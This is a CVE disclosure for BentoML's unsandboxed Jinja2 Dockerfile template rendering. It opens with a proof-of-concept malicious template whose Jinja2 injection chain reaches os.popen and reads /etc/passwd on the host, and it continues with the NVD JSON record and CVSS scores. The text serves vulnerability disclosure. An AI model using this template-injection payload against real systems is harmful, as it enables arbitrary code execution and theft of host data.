CVE-2026-35044

# Malicious Dockerfile Template Example # This payload intends to execute a command on the host machine # using Jinja2 template injection. # In the malicious bento archive's dockerfile_template: FROM python:3.9-slim # Exploit using Jinja2 syntax to execute python code {% set cmd = ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /etc/passwd').read() %} RUN echo "{{ cmd }}" # Note: Actual payload depends on the python environment available to Jinja2, # typically leveraging subprocess or os module access via object references.

{"cve": {"id": "CVE-2026-35044", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:41.990", "lastModified": "2026-04-10T18:31:47.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bentoml:bentoml:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.38", "matchCriteriaId": "0D86CC10-0560-4752-9FA9-485FD844D90B"}]}]}], "references": [{"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}